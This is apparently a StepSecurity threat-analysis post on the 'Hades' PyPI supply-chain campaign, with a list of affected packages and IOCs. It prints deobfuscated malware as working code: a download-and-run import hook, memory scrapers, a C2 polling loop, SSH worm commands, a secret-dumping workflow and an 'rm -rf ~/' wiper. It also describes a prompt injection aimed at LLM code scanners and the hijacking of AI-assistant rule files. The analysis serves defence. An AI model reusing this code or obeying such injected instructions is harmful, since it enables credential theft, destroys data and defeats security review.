惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Know Your Adversary
Know Your Adversary
小众软件
小众软件
L
LangChain Blog
月光博客
月光博客
博客园 - Franky
Microsoft Azure Blog
Microsoft Azure Blog
Y
Y Combinator Blog
有赞技术团队
有赞技术团队
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
MongoDB | Blog
MongoDB | Blog
Recorded Future
Recorded Future
V
Visual Studio Blog
TaoSecurity Blog
TaoSecurity Blog
S
Schneier on Security
C
Cybersecurity and Infrastructure Security Agency CISA
P
Privacy & Cybersecurity Law Blog
T
Threat Research - Cisco Blogs
D
DataBreaches.Net
L
LINUX DO - 热门话题
C
Check Point Blog
F
Fortinet All Blogs
Hugging Face - Blog
Hugging Face - Blog
The Hacker News
The Hacker News
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Microsoft Security Blog
Microsoft Security Blog
酷 壳 – CoolShell
酷 壳 – CoolShell
V
V2EX
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
The GitHub Blog
The GitHub Blog
P
Proofpoint News Feed
L
Lohrmann on Cybersecurity
博客园 - 司徒正美
T
Threatpost
P
Palo Alto Networks Blog
A
About on SuperTechFans
Spread Privacy
Spread Privacy
Engineering at Meta
Engineering at Meta
N
News | PayPal Newsroom
T
Tailwind CSS Blog
The Last Watchdog
The Last Watchdog
Blog — PlanetScale
Blog — PlanetScale
A
Arctic Wolf
量子位
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
博客园 - 聂微东
Google Online Security Blog
Google Online Security Blog
Google DeepMind News
Google DeepMind News
www.infosecurity-magazine.com
www.infosecurity-magazine.com
V
Vulnerabilities – Threatpost
H
Hacker News: Front Page

Step Security Blog

Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity Celebrating 1000 Repositories Secured with Harden Runner: A Journey of Growth and Collaboration - StepSecurity StepSecurity Detects Early Supply Chain Risk Signals in kilocode npm - StepSecurity Another npm Supply Chain Attack: The 'is' Package Compromise - StepSecurity anthropics/claude-code-action Security: How to Secure Claude Code in GitHub Actions with Harden-Runner - StepSecurity Harden-Runner detection: tj-actions/changed-files action is compromised - StepSecurity StepSecurity's Catalog of Fixes - StepSecurity Orchestrating Security: StepSecurity's Impact on 400+ Repositories and Future Plans - StepSecurity Announcing Anomalous Outbound Call Detection Using Machine Learning - StepSecurity Announcing GitHub Actions Advisor and StepSecurity Maintained Actions - StepSecurity Analysis of Backdoored XZ Utils Build Process with Harden-Runner - StepSecurity Announcing General Availability of Harden Runner - StepSecurity Milestone Achieved: 2500+ Public Repositories Secured with Harden-Runner - StepSecurity Build secretless CI/CD pipelines using wait-for-secrets - StepSecurity Introducing Apps & PATs: Centralized Visibility for GitHub Apps and Personal Access Tokens - StepSecurity CVE-2026-22709: Critical Sandbox Escape Vulnerability in vm2 - StepSecurity StepSecurity Now Supports Dark Mode - StepSecurity 2025 in Review: The Evolution of Supply Chain Security & What's Next - StepSecurity Bake Harden-Runner Into GitHub's Custom Runner Images for Organization-Wide CI/CD Security - StepSecurity StepSecurity Is Now Available on Azure Marketplace - StepSecurity Critical Remote Code Execution Vulnerabilities Discovered in React Server Components and Next.js - StepSecurity How Harden Runner Detected the Sha1-Hulud Supply Chain Attack in CNCF's Backstage Repository - StepSecurity Sha1-Hulud: The Second Coming - Zapier, ENS Domains, and Other Prominent NPM Packages Compromised - StepSecurity Supply Chain Security Alert: eslint-config-prettier Package Shows Signs of Compromise - StepSecurity 9,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Shai-Hulud: Self-Replicating Worm Compromises 500+ NPM Packages - StepSecurity Introducing npm Package Search: Find Where Any Package Was Introduced Across Your GitHub Organizations - StepSecurity StepSecurity Is Sponsoring GitHub Universe 2025 - StepSecurity s1ngularity: Popular Nx Build System Package Compromised with Data-Stealing Malware - StepSecurity Introducing StepSecurity Threat Intelligence: Real-Time Supply Chain Attack Alerts for Your SIEM - StepSecurity 8,000 Strong: Harden-Runner's Growing Impact on CI/CD Security - StepSecurity Securing Google Gemini in GitHub Actions with Harden-Runner - StepSecurity GhostAction Campaign: Over 3,000 Secrets Stolen Through Malicious GitHub Workflows - StepSecurity Introducing the NPM Package Cooldown Check - StepSecurity Securing GitHub Copilot in GitHub Actions with Harden-Runner - StepSecurity Calculate Your CI/CD Security ROI with StepSecurity's New ROI Calculator - StepSecurity How StepSecurity Harden Runner Detected Unexpected Microsoft Defender Installation on GitHub-hosted Ubuntu Runners - StepSecurity StepSecurity Harden Runner: Detect source code tampering during the build process - StepSecurity Suspicious Tag Movement in AWS’s GitHub Action: What Happened and Why It Matters - StepSecurity When 'Changed Files' Changed Everything: Our Black Hat 2025 Presentation on the tj-actions Supply Chain Breach - StepSecurity Lessons from AWS CodeBuild’s Memory-Dump Incident (CVE-2025-8217) - StepSecurity Supply Chain Security Alert: num2words PyPI Package Shows Signs of Compromise - StepSecurity When AI Meets CI/CD: Coding Agents in GitHub Actions Pose Hidden Security Risks - StepSecurity The GitHub Warning Everyone Ignores: 'This Commit Does Not Belong to Any Branch' - StepSecurity 8 GitHub Actions Secrets Management Best Practices to Follow - StepSecurity reviewdog GitHub Actions are compromised - StepSecurity 7,000 Open-Source Projects Now Secured by Harden-Runner - StepSecurity Replace Third-Party Actions with StepSecurity Maintained Actions via Automated Pull Requests - StepSecurity StepSecurity Is Now Available on AWS Marketplace - StepSecurity Introducing StepSecurity Artifact Monitor: Detect Unauthorized Software Releases in minutes, not months - StepSecurity Introducing Workflow Run Policies: Guardrails for Blocking Non-Compliant GitHub Actions Runs - StepSecurity Harden-Runner Detects New Traffic to release-assets.githubusercontent.com Across Multiple Customers - StepSecurity Grafana GitHub Actions Security Incident - StepSecurity Export Harden-Runner Security Insights and Detections to Amazon S3 - StepSecurity Evolving Harden-Runner’s disable-sudo Policy for Improved Runner Security - StepSecurity Announcing Policy-Driven Automated Pull Requests for CI/CD Misconfiguration Remediation - StepSecurity Announcing StepSecurity’s Integration with RunsOn: Secure and Optimized CI/CD Pipelines - StepSecurity Secure Repo Just Got Better: New Features for GitHub Actions Security Best Practices - StepSecurity Why Compliance Auditors Are Looking at Your CI/CD Runners - And How to Prepare - StepSecurity Harden-Runner Flags Anomalous Outbound Call, Leading to Docker Documentation Update - StepSecurity StepSecurity Harden-Runner Now Secures GitHub Actions Workflows for Over 5,000 Open Source Projects - StepSecurity GitHub Actions Pwn Request Vulnerability - StepSecurity Prevent Ultralytics Style CI/CD Security Attacks with Network Security Controls - StepSecurity PyTorch Supply Chain Compromise - StepSecurity Unified Network Egress View: Centralize GitHub Actions Network Destinations for Your Enterprise - StepSecurity Uniting Developers and Security: Celebrating the Success of 500+ Open Source Projects Using StepSecurity's Orchestration Platform - StepSecurity 5 Effective Third-Party GitHub Actions Governance Best Practices - StepSecurity StepSecurity Recognized Among CRN’s "10 Hottest DevOps Startups Of 2024" - StepSecurity Streamline Your GitHub Actions Workflows with StepSecurity’s Latest Feature - StepSecurity StepSecurity Steps Up the Security Game with SOC 2 Type 2 Compliance - StepSecurity StepSecurity's Alignment with CISA's CI/CD Security Guidance - StepSecurity
The Hades Campaign: Graph ML PyPI Packages Deploy Cross-Platform Memory Scrapers, AI Analyst Misdirection, and a Wiper Deterrent - StepSecurity
2026-06-10 · via Step Security Blog

Summary

On June 8, 2026, version 0.8.101 of the popular graph machine learning package ensmallen on PyPI was identified as containing a highly sophisticated supply chain compromise. Concurrently, a series of related packages in the computational biology, bioinformatics, and genotype-phenotype analysis ecosystem were also found to carry the identical malicious payload. This operation, which we are tracking as the Hades Campaign, uses a self-contained Bun executable to execute a multi-layer payload silently on package import.

Affected Versions

The compromised packages identified in this campaign are listed below

Package Affected Versions
bramin 0.0.2, 0.0.3, 0.0.4
cmd2func 0.2.2, 0.2.3
coolbox 0.4.1, 0.4.2
dynamo-release 1.5.4
embiggen 0.11.97
ensmallen 0.8.101
executor-engine 0.3.4, 0.3.5
executor-http 0.1.3, 0.1.4
funcdesc 0.2.2, 0.2.3
gpsea 0.9.14
magique 0.6.8, 0.6.9
magique-ai 0.4.4, 0.4.5
mflux-streamlit 0.0.3, 0.0.4
mrbios 0.1.1, 0.1.2
napari-ufish 0.0.2, 0.0.3
nhmpy 2.4.7
nucbox 0.1.2, 0.1.3
okite 0.0.7, 0.0.8
pantheon-agents 0.6.1, 0.6.2
pantheon-toolsets 0.5.5, 0.5.6
ppkt2synergy 0.1.1
pyphetools 0.9.120
rlask 3.1.4, 3.1.5, 3.1.6, 3.1.7
rsquests 2.34.3
spateo-release 1.1.2
synago 0.1.1, 0.1.2
tlask 3.1.4
ufish 0.1.2, 0.1.3
uprobe 0.1.3, 0.1.4

This campaign represents the latest evolution of the Miasma threat actor, whose activities we have documented in our prior advisory posts. The core credential harvesting methods, self-replicating worm logic, and GitHub-based exfiltration are highly aligned with what was described in our previous posts:

Rather than repeating the components of the malware that remain unchanged, this analysis provides a step-by-step breakdown of the execution chain, highlighting exactly what is new or evolved in the Hades Campaign.

Step 1: Delivery and Python Import Hook

In the npm campaigns, the malware executed during the installation process by hijacking life-cycle scripts or exploiting native build hooks (the Phantom Gyp technique). In the Hades Campaign, the compromise targets Python developer environments and runs during code execution. The entry point is embedded inside the package's __init__.py as an obfuscated single-line import hook.

The deobfuscated python entry logic behaves as follows:

# Deobfuscated import hook (vF203) embedded in __init__.py
import os as _O, tempfile as _T
_G = _O.path.join(_T.gettempdir(), ".bun_ran")
_O.path.exists(_G) or exec(
    'import os as _o, subprocess as _s, urllib.request as _u, '
    'platform as _p, sys as _y, shutil as _h, glob as _g; _j = None\n'
    'for d in _y.path:\n'
    '  try:\n'
    '    if _o.path.exists(_o.path.join(d, "_index.js")):\n'
    '      _j = _o.path.join(d, "_index.js"); break\n'
    '  except: pass\n'
    '_b = _o.path.join(_T.gettempdir(), "b", "bun")\n'
    'if not _o.path.exists(_b):\n'
    '  _a = "aarch64" if _p.machine()=="arm64" else "x64"\n'
    '  _m = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(_y.platform,"linux")\n'
    '  _z = _o.path.join(_T.gettempdir(), "b.zip")\n'
    '  _o.makedirs(_o.path.dirname(_b), exist_ok=True)\n'
    '  _u.urlretrieve(f"https://github.com/oven-sh/bun/releases/download/'
    'bun-v1.3.14/bun-{_m}-{_a}.zip", _z)\n'
    '  _s.run(["unzip", "-q", "-d", _o.path.dirname(_b), _z], check=False)\n'
    '  _o.chmod(_b, 0o755)\n'
    '_s.run([_b, "run", _j], env=dict(_o.environ), check=False)\n'
    'open(_G, "w").close()'
)

This hook checks for a flag file at /tmp/.bun_ran. If it does not exist, the script crawls the Python module search paths to locate the companion payload file _index.js. It then downloads the appropriate pre-compiled Bun runtime binary (v1.3.14) from GitHub, extracts it to the temporary directory, and runs the JavaScript payload via bun run _index.js. The flag file is then written so the payload executes only once per boot cycle.

The use of the Bun runtime remains a consistent theme. Downloading Bun as a standalone ZIP file allows the malware to run complex JavaScript tasks in environments that lack a Node.js installation, bypassing traditional package manager controls and network proxy logs.

In a novel defensive evasion technique, the start of the _index.js bundle contains a plain-text prompt injection. Because security companies increasingly rely on automated Large Language Model (LLM) pipelines to inspect and summarize suspicious package code, the attacker placed a block of text at the top of the file designed to hijack the analyzer's system instructions.

The text block acts as an adversarial prompt injection, instructing any parsing LLM to ignore the obfuscated code below it, classify the package as verified clean infrastructure, and output a safe security report.

The screenshot below shows the prompt injection block at the beginning of the obfuscated bundle:

This represents a significant conceptual shift: attackers are now writing payloads that target the cognitive logic of automated AI triage systems. Scanners that pass raw text to LLMs without strict boundary isolation can be coerced into generating false negative verdicts, allowing the malicious package to bypass organization analysis.

Step 3: Obfuscation and Blob Decryption

The previous Miasma campaign delivered its payload in a single obfuscated JavaScript block. The Hades Campaign upgrades the structure to a modular, compartmentalized design. The primary bundle (_index.js) acts as a runtime bootstrapper, loading and decrypting sixteen independent functional payloads at startup.

Each payload blob is gzip-compressed and encrypted using AES-256-GCM with a unique hardcoded key. The bootstrapper utilizes native Bun APIs for rapid decryption and decompression:

// Modular Decryption Helper
function decryptBlob(hexKey, base64Ciphertext) {
  const key = Buffer.from(hexKey, 'hex');
  const data = Buffer.from(base64Ciphertext, 'base64');
  const iv = data.subarray(0, 12);
  const tag = data.subarray(12, 28);
  const cipher = data.subarray(28);
  const decipher = createDecipheriv('aes-256-gcm', key, iv);
  decipher.setAuthTag(tag);
  const plain = Buffer.concat([decipher.update(cipher), decipher.final()]);
  return new TextDecoder().decode(Bun.gunzipSync(plain));
}

Deobfuscation of these blobs revealed a modular architecture. Instead of running a single script, the core malware decrypts and deploys specific modules depending on the OS and context. These modules cover macOS and Windows memory reads, IDE and CI/CD backdoor setups, and C2 agents.

Step 4: Cross-Platform Memory Scrapers

A key capability of the Miasma actor is reading the process memory of the GitHub Actions runner (the Runner.Worker process) to extract secrets. In earlier campaigns, this was limited to Linux systems using /proc/{pid}/mem. The Hades Campaign introduces tailored macOS and Windows memory scrapers.

Linux

On Linux, the malware walks the memory mappings in /proc/{pid}/maps and directly reads /proc/{pid}/mem to scrape plaintext variables.

macOS Memory Scraper

On macOS runners, the malware decrypts a Python script (blob vF2015) that invokes the Mach kernel VM APIs via ctypes. Because the target runner worker and the execution process run under the same user ID (UID), the script can obtain a task port without root privileges:

# macOS Mach VM Scraper (ctypes wrapper)
import ctypes, ctypes.util, sys

libc = ctypes.CDLL(ctypes.util.find_library('c'))
task = ctypes.c_uint(0)
# Retrieve the Mach task port for Runner.Worker
kret = libc.task_for_pid(libc.mach_task_self_(), TARGET_PID, ctypes.byref(task))
if kret == 0:
    addr = ctypes.c_ulonglong(0)
    size = ctypes.c_ulonglong(0)
    while True:
        info = vm_region_basic_info_64()
        info_cnt = ctypes.c_uint(VM_REGION_BASIC_INFO_COUNT)
        objname = ctypes.c_uint(0)
        # Query memory region permissions
        kret = libc.mach_vm_region(task, ctypes.byref(addr), ctypes.byref(size), 11, ctypes.byref(info), ctypes.byref(info_cnt), ctypes.byref(objname))
        if kret != 0:
            break
        # Read readable memory pages
        if info.protection & 1:
            buf = ctypes.create_string_buffer(size.value)
            out_size = ctypes.c_ulonglong(0)
            if libc.mach_vm_read_overwrite(task, addr.value, size.value, ctypes.cast(buf, ctypes.c_void_p), ctypes.byref(out_size)) == 0:
                sys.stdout.buffer.write(buf.raw[:out_size.value])
        addr.value += size.value

Windows Memory Scraper

On Windows systems, the malware executes a PowerShell script (blob vF2014) that dynamically compiles a C# class using Add-Type. This class uses Win32 API functions like VirtualQueryEx and ReadProcessMemory to crawl the target process memory space:

# Windows API Memory Dumper
Add-Type @"
using System;
using System.Runtime.InteropServices;

public class MemDump {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint dwAccess, bool inherit, int pid);
    [DllImport("kernel32.dll")]
    public static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, byte[] buf, IntPtr size, out IntPtr read);
    [DllImport("kernel32.dll")]
    public static extern int VirtualQueryEx(IntPtr hProc, IntPtr addr, out MBI info, uint len);

    public struct MBI {
        public IntPtr BaseAddress;
        public IntPtr AllocationBase;
        public uint AllocationProtect;
        public IntPtr RegionSize;
        public uint State;
        public uint Protect;
        public uint Type;
    }

    public static void Dump(int pid) {
        IntPtr hProc = OpenProcess(0x0010 | 0x0400, false, pid); // VM_READ and QUERY_INFORMATION
        if (hProc == IntPtr.Zero) return;
        IntPtr addr = IntPtr.Zero;
        byte[] buffer = new byte[4096];
        while (true) {
            MBI info;
            if (VirtualQueryEx(hProc, addr, out info, 28) == 0) break;
            if (info.State == 0x1000 && (info.Protect & 0x100) == 0) { // MEM_COMMIT and not PAGE_GUARD
                long remaining = info.RegionSize.ToInt64();
                long curr = info.BaseAddress.ToInt64();
                while (remaining > 0) {
                    int readSize = (int)Math.Min(remaining, buffer.Length);
                    IntPtr read;
                    if (ReadProcessMemory(hProc, new IntPtr(curr), buffer, new IntPtr(readSize), out read)) {
                        Console.OpenStandardOutput().Write(buffer, 0, read.ToInt32());
                    }
                    curr += readSize;
                    remaining -= readSize;
                }
            }
            addr = new IntPtr(info.BaseAddress.ToInt64() + info.RegionSize.ToInt64());
        }
    }
}
"@

By obtaining cross-platform memory access, the malware successfully extracts unmasked variables and tokens on Linux, macOS, and Windows runners, ensuring full coverage in heterogeneous development and build environments.

Step 5: Command and Control (C2) Channels

The Hades Campaign communicates with its operators using three independent channels that use public GitHub infrastructure to blend with normal traffic.

Channel 1: Token Dead-Drop (DontRevokeOrItGoesBoom)

Harvested GitHub personal access tokens are encrypted and pushed as commits to public repositories under the control of the attacker. The commits use the magic keyword DontRevokeOrItGoesBoom. The attacker queries GitHub search APIs to locate these commits and recover the tokens.

Channel 2: Signed JavaScript Eval (TheBeautifulSnadsOfTime)

The malware queries GitHub commits for the keyword TheBeautifulSnadsOfTime. The commit messages contain base64-encoded strings representing JavaScript payloads along with an RSA-PSS signature. The malware verifies the signature against a hardcoded public key (blob vF209) and executes valid payloads via eval().

Channel 3: Python Dropper (firedalazer)

A new Python-specific C2 channel is introduced in this campaign. The malware writes a Python script named updater.py (blob vF202) to disk and installs it as a background service. This service polls GitHub for commits matching the keyword firedalazer. The commits encode a URL and an RSA-PSS signature. When a valid commit is detected, the daemon downloads the script from the URL, verifies its signature, and executes it:

# Hourly Python C2 Polling Loop (updater.py)
import urllib.request, base64, re, time

class GitHubMonitor:
    def process_latest_commit(self):
        # Queries https://api.github.com/search/commits?q=firedalazer
        commits = self._search_github_commits("firedalazer")
        if not commits: return
        msg = commits[0].get("commit", {}).get("message", "")
        match = re.search(r"firedalazer\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+)", msg)
        if match:
            url = base64.b64decode(match.group(1)).decode("utf-8")
            sig = base64.b64decode(match.group(2))
            if self._verify_signature(match.group(1).encode(), sig):
                self._download_and_execute(url)

    def poll_loop(self):
        while True:
            self.process_latest_commit()
            time.sleep(3600)

Step 6: Exfiltration

Stolen credentials are encrypted locally using hybrid encryption:

  1. The harvested secrets are JSON-serialized and compressed using gzip.
  2. A random 256-bit AES key is generated.
  3. The data is encrypted with AES-256-GCM using the ephemeral key.
  4. The ephemeral key is encrypted using the attacker's public RSA-2048 key (blob vF2011).
  5. The encrypted payload is pushed to a newly created public GitHub repository under the attacker's control.

The exfiltration repositories are named using combinations from a wordlist of Underworld and Hades terms (e.g. stygian-cerberus-42817, tartarean-charon-18401) and carry the description "Hades - The End for the Damned". This represents a naming update from the Dune/Miasma terms used previously.

Step 7: Worm Propagation and Lateral Movement

A core component of the Hades Campaign is its ability to replicate and spread laterally across developer networks and trust boundaries. The deobfuscated payload reveals three distinct vectors for self-replication.

SSH/SCP Lateral Movement

To spread to other local or remote developer systems, the malware searches for reachable host targets. It parses the files ~/.ssh/known_hosts and ~/.ssh/config to build a list of target hostnames. If both ssh and scp binaries are present on the local path, it iterates through each hostname and attempts connection.

The connections are initiated in batch mode using pre-configured key pairs:

# SSH Connection and Loader Staging
ssh -o StrictHostKeyChecking=no -o ConnectTimeout=10 -o PasswordAuthentication=no -o BatchMode=yes [hostname] "mkdir -p /tmp/.sshu-[random]"
scp -o StrictHostKeyChecking=no ... /dev/stdin [hostname]:/tmp/.sshu-[random]/ai_setup.sh
scp -o StrictHostKeyChecking=no ... /dev/stdin [hostname]:/tmp/.sshu-[random]/ai_init.js
ssh -o StrictHostKeyChecking=no ... [hostname] "cd /tmp/.sshu-[random] && bash ai_setup.sh"

This stages the loader script (blob vF2016) and the primary payload (_index.js) in a temporary directory on the target host, executes the loader to compromise the target, and cleanly deletes the staging directory.

PyPI and npm OIDC Trust Exploitation and SLSA Provenance Bypass

When running inside a GitHub Actions workflow runner, the malware attempts to exploit OpenID Connect (OIDC) trust configurations. It checks for OIDC variables:

ACTIONS_ID_TOKEN_REQUEST_TOKEN
ACTIONS_ID_TOKEN_REQUEST_URL

If these variables are present, the malware calls the endpoint with Python or npm registry audiences to mint PyPI or npm publish tokens. To bypass registry signature policies and verification checks, the malware generates cryptographically signed SLSA provenance bundles using Sigstore:

  1. It requests a signing certificate from Fulcio (https://fulcio.sigstore.dev) using the OIDC token, which issues a short-lived certificate tying an ephemeral public key to the runner's OIDC identity.
  2. It formats a SLSA provenance statement matching the https://slsa-framework.github.io/github-actions-buildtypes/workflow/v1 schema, specifying the runner repository, workflow path, commit SHA, and invocation ID.
  3. It DSSE-signs the statement and uploads it to the Rekor transparency log (https://rekor.sigstore.dev) to obtain an inclusion proof and integrated timestamp.
  4. It packages the certificate, signatures, and Rekor inclusion proof into a Sigstore bundle (application/vnd.dev.sigstore.bundle.v0.3+json).

It then fetches target libraries, injects its obfuscated import hook and javascript payload, and publishes the compromised versions back to PyPI and npm using the organization's automated publishing credentials and the generated Sigstore provenance bundle. This ensures that the published package appears to have valid, cryptographically verified build provenance from the organization's official GitHub Actions build environment.

GitHub Actions Workflow Injection and Secrets Extraction

If the harvested GitHub token has appropriate write permissions, the malware targets GitHub repositories to extract organization secrets using GitHub Actions runners. Depending on the token's scopes, it employs one of two distinct workflow injection techniques.

Method 1: Push-Triggered Workflow (Requires workflow Scope)

If the token contains the workflow scope, the malware executes runPushWorkflow():

  1. It clones the default branch and creates a temporary branch named by appending a number to an existing branch (e.g., main4, master2) to blend in.
  2. It commits a malicious workflow file under .github/workflows/codeql.yml, hijacking a common security workflow name to evade simple audits.
  3. The workflow, named Run Copilot, is configured to run on push to that temporary branch. It dumps all secrets to format-results.txt and uploads it as an artifact named format-results using SHA-pinned steps for evasion.
  4. The malware polls the GitHub API for the run, downloads the zipped artifact, extracts the secrets, and then deletes the run history and the temporary branch, leaving no obvious trace of the malicious activity.

Method 2: Deployment-Triggered Workflow (Requires repo Write Access)

If the token lacks the workflow scope but has repository write permissions, the malware executes runDeployWorkflow() to bypass restriction controls:

  1. It commits the deployment workflow Run Copilot to a random path like .github/workflows/codeql-[random].yml.
  2. It creates a second commit immediately deleting the workflow file so it is no longer present on the branch.
  3. It pushes a branch named chore/codeql-setup pointing to the deletion commit.
  4. It triggers a GitHub deployment targeting the deployment environment Development pointing to the commit before deletion (which still contains the workflow file).
  5. The deployment triggers the workflow on the runner, which dumps secrets to an artifact. The malware polls the run, downloads the artifact, and then deletes the deployment record, the workflow run, and the branch.

Below is the raw YAML workflow payload used by both methods to extract and package organizational secrets:

name: Run Copilot
run-name: Run Copilot
on:
  push:      # For push-based injection
  deployment: # For deployment-based injection
jobs:
  format:
    runs-on: ubuntu-latest
    env:
      VARIABLE_STORE: ${{ toJSON(secrets) }}
    steps:
      - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
      - name: Copilot Setup
        run: echo "$VARIABLE_STORE" > format-results.txt
      - uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
        with:
          name: format-results
          path: format-results.txt

Targeted AI Coding Assistant and IDE Rules Hijacking

The malware also backdoors local workspace folders to execute when analyzed by AI assistants or opened in IDEs. It walks the directory tree looking for rule files or configuration directories for 14 different AI agents and systems (including Claude, Codex, Gemini, Copilot, Cline, Aider, Tabby, Amazon Q, Cody, Bolt, and Continue).

It targets files such as:

  • .cursorrules and .windsurfrules
  • .cursor/rules/ directory rules
  • .github/copilot-instructions.md
  • .aider.conf.yml
  • settings.json, config.json, and mcp.json

By planting custom prompt instructions or executing hooks within these configuration assets, the malware triggers a bun run bootstrap command when developers load or consult the workspace with their AI assistants.

Step 8: Persistence and the Wiper Deterrent

To ensure persistence on developer workstations, the malware installs the update-monitor C2 polling daemon. Simultaneously, the malware installs a second background service named gh-token-monitor (blob vF208). This service acts as a wiper deterrent.

The script polls the GitHub API using the stolen token. If the token is revoked (returning a 4xx HTTP status), the service triggers a destructive wiper command:

#!/usr/bin/env bash
# gh-token-monitor.sh
# Checks token status; executes wiper if revoked
START_TIME=$(date +%s)
MAX_TTL=259200 # 72 hours
while true; do
    if [[ $(( $(date +%s) - START_TIME )) -ge $MAX_TTL ]]; then
        exit 0
    fi
    HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
        -H "Authorization: Bearer ${GITHUB_TOKEN}" \
        "https://api.github.com/user")
    if [[ "$HTTP_STATUS" =~ ^40[0-9]$ ]]; then
        # Wiper trigger
        eval "rm -rf ~/; rm -rf ~/Documents"
        exit 0
    fi
    sleep 60
done

On Linux, this is registered as a user-level systemd service with user lingering enabled. On macOS, it is written as a LaunchAgent. The threat actor is leveraging the risk of data destruction to discourage security teams from immediately revoking stolen credentials, creating a window to maintain access.

Attack Execution Flow and Timeline

Indicators of Compromise

Indicator Type Value Significance
Lock File /tmp/.bun_ran Created during import. Confirming execution occurred.
Lock File /tmp/tmp.0144018410.lock Anti-recursion singleton. Confirms active execution.
State File /var/tmp/.gh_update_state Tracks executed firedalazer payloads. Confirms C2 communication.
Persistence Script ~/.local/share/updater/update.py The C2 polling daemon script.
Persistence Config ~/.config/systemd/user/update-monitor.service Linux service for hourly C2 updates.
Persistence Config ~/.config/systemd/user/gh-token-monitor.service Linux service checking for token revocation.
Persistence Config ~/Library/LaunchAgents/com.user.update-monitor.plist macOS service for hourly C2 updates.
Persistence Config ~/Library/LaunchAgents/com.user.gh-token-monitor.plist macOS service checking for token revocation.
Wiper Script ~/.local/bin/gh-token-monitor.sh The monitor script executing the wiper.
Wiper Config ~/.config/gh-token-monitor/token The active GitHub token used to check status.
Repo Backdoor Files .claude/settings.json, .claude/index.js, .claude/setup.mjs Backdoors planted in source code repositories.
Repo Backdoor Files .vscode/tasks.json, .vscode/setup.mjs Backdoors planted in VS Code workspace directories.
Repo Workflow File Run Copilot (Planted YAML workflow) Planted build steps designed to upload organizational secrets.
Exfiltration Repo Pattern stygian-cerberus-[0-9]+, tartarean-charon-[0-9]+ Public exfiltration repositories created on compromised accounts.
Exfiltration Description Hades - The End for the Damned Description string present on all exfil repositories.
C2 Search Keyword DontRevokeOrItGoesBoom GitHub commit search query for token harvesting.
C2 Search Keyword TheBeautifulSnadsOfTime GitHub commit search query for JS updates.
C2 Search Keyword firedalazer GitHub commit search query for Python droppers.

For StepSecurity Enterprise Customers

Threat Center Alert

StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis, IOCs, affected versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.

Harden-Runner

Harden-Runner is a purpose-built security agent for CI/CD runners.

It monitors all network events, process executions, file access, and outbound network connections at the step level in GitHub Actions, providing full runtime visibility into what happens during every workflow step, including npm install.

In this campaign, the malicious payload attempts to read the Runner.Worker process memory to extract plaintext secrets, including GITHUB_TOKEN and all secrets injected into the workflow, directly from the runner's address space without ever writing them to disk or making a suspicious network connection.

Harden-Runner detects this and immediately initiates lockdown mode, terminating the malicious process before the memory read can complete and preventing any secrets from being extracted. The workflow run is halted and a suspicious process event is recorded in the runtime trace.

Link to the github run : https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/27125603947

